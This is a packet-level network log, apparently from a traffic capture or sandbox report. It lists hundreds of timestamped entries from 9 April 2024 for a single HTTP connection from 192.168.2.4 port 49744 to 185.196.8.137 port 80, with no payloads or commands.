Apr 9, 2024 14:54:07.231674910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231690884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231717110 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231734991 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231762886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231776953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231805086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231822968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231848001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231867075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231893063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231908083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231935978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231950998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231976986 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.231992006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232024908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232043028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232069969 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232093096 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232115030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232136011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232158899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232178926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232203960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232225895 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232253075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232270002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232292891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232309103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232332945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232347965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232379913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232397079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232424974 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.232440948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233552933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233592033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233609915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233638048 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233659029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233681917 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233700037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233724117 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233738899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233767033 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233786106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233809948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233836889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233865023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233889103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233913898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233936071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233958006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233975887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.233999968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234018087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234045029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234061003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234087944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234106064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234129906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234144926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234174013 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234203100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234230042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234251976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234275103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234289885 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234317064 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234334946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234363079 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234376907 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234404087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.234419107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235069990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235095024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235115051 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235146999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235167027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235199928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235222101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235310078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235336065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235362053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235384941 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235399961 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235425949 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235441923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235469103 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235486984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235511065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235523939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235555887 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235578060 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235603094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235626936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235651016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235666037 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235692978 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235707045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235734940 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235749960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235775948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235794067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235816956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235837936 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235863924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235886097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235907078 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235924959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235949039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235974073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.235997915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236015081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236042023 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236057043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236082077 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236097097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236124039 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236140966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236167908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236185074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236213923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236237049 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236262083 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236279964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.236304998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.247106075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.247133970 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253035069 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253707886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253707886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253707886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253707886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253707886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253707886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253762007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253762007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253762007 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253782034 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253808975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253925085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.253978014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.254004002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.254264116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.254282951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.254308939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.254333019 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.254358053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.254383087 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.256855011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.256887913 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.256910086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.256948948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.256969929 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257008076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257045031 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257065058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257091999 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257121086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257147074 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257159948 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257194042 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257222891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257252932 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257266998 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257297993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257317066 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257342100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257379055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257411003 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257424116 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257452011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257468939 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257494926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257530928 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257793903 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257819891 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257838964 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257859945 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257875919 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257898092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257919073 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257939100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257960081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257981062 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.257998943 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258019924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258038044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258058071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258080006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258105993 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258124113 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258143902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258161068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258183002 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258200884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258220911 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258243084 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258264065 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258285046 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258304119 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258321047 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258346081 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258362055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258382082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258402109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258424997 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258444071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258462906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258486032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258508921 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258529902 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258547068 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258580923 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258600950 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258764029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258764029 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258820057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258869886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258888006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258925915 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258941889 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258977890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.258991957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259020090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259044886 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259077072 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259094954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259139061 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259155035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259196043 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259212017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259242058 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259268045 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259280920 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259356976 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259378910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259396076 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259629965 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259660006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259684086 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259701014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259725094 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259737968 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259763956 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259779930 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259799957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259819984 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259833097 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259855032 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259871006 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259891987 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259912014 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259932995 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259960890 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.259984016 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260377884 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260396957 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260463953 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260483027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260502100 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260519028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260540009 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260555983 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260579109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260591030 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260617971 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260643005 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260658979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260682106 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260710001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260725975 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260752916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260773897 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260797024 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260812044 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260833979 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260847092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260869026 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260886908 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260902882 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260929108 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260946989 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260968924 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.260986090 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261003017 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261029959 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261053085 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261065960 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261116028 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261138916 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261149883 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261176109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261195898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261209011 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261231899 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261251926 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261271000 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261291027 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261307001 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261326075 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261344910 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261369944 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261388063 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261406898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261425972 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261444092 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261461973 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261482954 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261496067 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261521101 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261542082 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261559963 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261581898 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261594057 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261615038 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261631966 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261652946 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261677980 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261701107 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261718035 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261733055 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261754990 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261773109 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261796951 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261815071 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261833906 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261853933 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261872053 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261893988 CEST	49744	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:07.261913061 CEST	49744	80	192.168.2.4	185.196.8.137
